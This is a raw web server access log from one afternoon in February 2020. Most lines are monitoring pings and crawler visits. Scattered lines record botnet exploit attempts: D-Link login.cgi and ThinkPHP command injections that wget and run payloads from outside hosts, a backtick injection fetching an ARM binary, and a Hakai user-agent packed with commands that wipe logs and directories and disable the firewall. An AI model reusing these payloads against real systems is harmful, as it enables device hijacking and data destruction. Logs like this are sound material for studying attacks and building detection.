212.91.246.72 - - [26/Feb/2020:15:49:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:15:50:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:15:51:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:15:52:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:15:53:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:15:54:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
71.6.232.9 - - [26/Feb/2020:15:55:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:15:55:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:15:56:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.148.40.2 - - [26/Feb/2020:15:57:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:15:57:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
186.227.187.103 - - [26/Feb/2020:15:58:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [26/Feb/2020:15:58:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
59.126.89.181 - - [26/Feb/2020:15:59:14 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
79.114.192.235 - - [26/Feb/2020:15:59:21 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [26/Feb/2020:15:59:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:16:00:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:16:01:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
82.144.175.39 - - [26/Feb/2020:16:02:45 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [26/Feb/2020:16:02:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.76.72.8 - - [26/Feb/2020:16:02:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:16:03:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.202.8.196 - - [26/Feb/2020:16:04:28 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [26/Feb/2020:16:04:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:16:05:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:16:06:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:16:07:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:16:08:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:16:09:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:16:10:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:16:11:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:16:12:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:16:13:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:16:14:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
189.180.81.171 - - [26/Feb/2020:16:15:15 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [26/Feb/2020:16:15:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:16:16:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:16:17:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:16:18:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:16:19:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:16:20:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:16:21:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
91.199.118.136 - - [26/Feb/2020:16:22:35 +0100] "GET http://51.77.91.132:1923/ HTTP/1.1" 200 1229 "-" "Go-http-client/1.1"
91.199.118.136 - - [26/Feb/2020:16:22:35 +0100] "GET http://51.77.91.132:1923/ HTTP/1.1" 200 1229 "-" "Go-http-client/1.1"
91.199.118.136 - - [26/Feb/2020:16:22:36 +0100] "GET http://51.77.91.132:1923/ HTTP/1.1" 200 1229 "-" "Go-http-client/1.1"
212.91.246.72 - - [26/Feb/2020:16:22:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:16:23:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:16:24:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
37.116.253.122 - - [26/Feb/2020:16:25:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
37.116.253.122 - - [26/Feb/2020:16:25:20 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [26/Feb/2020:16:25:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:16:26:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
71.6.232.9 - - [26/Feb/2020:16:27:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:16:27:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:16:28:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.172.78.114 - - [26/Feb/2020:16:29:42 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [26/Feb/2020:16:29:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:16:30:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:16:31:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:16:32:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.124.150.60 - - [26/Feb/2020:16:33:33 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [26/Feb/2020:16:33:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:16:34:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:16:35:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:16:36:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:16:37:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
134.35.214.99 - - [26/Feb/2020:16:38:18 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
134.35.214.99 - - [26/Feb/2020:16:38:22 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [26/Feb/2020:16:38:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:16:39:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:16:40:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
91.199.118.136 - - [26/Feb/2020:16:41:01 +0100] "GET http://51.77.91.132:1923/ HTTP/1.1" 200 1229 "-" "Go-http-client/1.1"
91.199.118.136 - - [26/Feb/2020:16:41:01 +0100] "GET http://51.77.91.132:1923/ HTTP/1.1" 200 1229 "-" "Go-http-client/1.1"
91.199.118.136 - - [26/Feb/2020:16:41:02 +0100] "GET http://51.77.91.132:1923/ HTTP/1.1" 200 1229 "-" "Go-http-client/1.1"
212.91.246.72 - - [26/Feb/2020:16:41:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:16:42:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:16:43:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:16:44:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.137.176.204 - - [26/Feb/2020:16:45:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [26/Feb/2020:16:45:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.64.88 - - [26/Feb/2020:16:46:33 +0100] "GET /robots.txt HTTP/1.1" 404 321 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.64.86 - - [26/Feb/2020:16:46:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [26/Feb/2020:16:46:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [26/Feb/2020:16:47:07 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:16:47:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:16:48:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
92.118.160.53 - - [26/Feb/2020:16:49:30 +0100] "GET / HTTP/1.0" 200 1229 "-" "NetSystemsResearch studies the availability of various services across the internet. Our website is netsystemsresearch.com"
212.91.246.72 - - [26/Feb/2020:16:49:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [26/Feb/2020:16:50:04 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [26/Feb/2020:16:50:05 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [26/Feb/2020:16:50:48 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:16:50:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:16:51:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:16:52:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:16:53:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:16:54:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:16:55:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.64.50 - - [26/Feb/2020:16:56:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [26/Feb/2020:16:56:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:16:57:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:16:58:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
134.35.214.99 - - [26/Feb/2020:16:59:11 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
175.4.243.71 - - [26/Feb/2020:16:59:37 +0100] "POST /GponForm/diag_Form?images/ HTTP/1.1" 404 319 "-" "Hello, World"
212.91.246.72 - - [26/Feb/2020:16:59:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:17:00:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:17:01:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:17:02:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:17:03:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:17:04:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:17:05:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
47.96.28.232 - - [26/Feb/2020:17:06:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
47.96.28.232 - - [26/Feb/2020:17:06:16 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
47.96.28.232 - - [26/Feb/2020:17:06:16 +0100] "POST /Admin57f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
212.91.246.72 - - [26/Feb/2020:17:06:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:17:07:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:17:08:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:17:09:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:17:10:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:17:11:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.139.187.145 - - [26/Feb/2020:17:12:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
220.92.153.250 - - [26/Feb/2020:17:12:43 +0100] "GET /card_scan_decoder.php?No=30&door=%60wget http://switchnets.net/hoho.arm7; chmod 777 hoho.arm7; ./hoho.arm7 linear%60 HTTP/1.1" 400 340 "-" "dark_NeXus_Qbot/4.0 (compatible; MSIE5.01; minerword NT)"
220.92.153.250 - - [26/Feb/2020:17:12:46 +0100] "GET /card_scan_decoder.php?No=30&door=%60wget http://switchnets.net/hoho.arm7; chmod 777 hoho.arm7; ./hoho.arm7 linear%60 HTTP/1.1" 400 340 "-" "dark_NeXus_Qbot/4.0 (compatible; MSIE5.01; minerword NT)"
212.91.246.72 - - [26/Feb/2020:17:12:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.92.153.250 - - [26/Feb/2020:17:12:52 +0100] "GET /card_scan_decoder.php?No=30&door=%60wget http://switchnets.net/hoho.arm7; chmod 777 hoho.arm7; ./hoho.arm7 linear%60 HTTP/1.1" 400 341 "-" "dark_NeXus_Qbot/4.0 (compatible; MSIE5.01; minerword NT)"
220.92.153.250 - - [26/Feb/2020:17:13:04 +0100] "GET /card_scan_decoder.php?No=30&door=%60wget http://switchnets.net/hoho.arm7; chmod 777 hoho.arm7; ./hoho.arm7 linear%60 HTTP/1.1" 400 341 "-" "dark_NeXus_Qbot/4.0 (compatible; MSIE5.01; minerword NT)"
220.92.153.250 - - [26/Feb/2020:17:13:29 +0100] "GET /card_scan_decoder.php?No=30&door=%60wget http://switchnets.net/hoho.arm7; chmod 777 hoho.arm7; ./hoho.arm7 linear%60 HTTP/1.1" 400 340 "-" "dark_NeXus_Qbot/4.0 (compatible; MSIE5.01; minerword NT)"
212.91.246.72 - - [26/Feb/2020:17:13:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:17:14:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:17:15:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:17:16:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.104.168.143 - - [26/Feb/2020:17:17:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
95.128.200.200 - - [26/Feb/2020:17:17:38 +0100] "GET / HTTP/1.1" 200 1229 "https://www.google.de" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:17:17:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
201.238.154.16 - - [26/Feb/2020:17:18:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:17:18:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:17:19:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:17:20:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:17:21:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
71.6.232.9 - - [26/Feb/2020:17:22:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:17:22:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:17:23:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:17:24:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:17:25:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
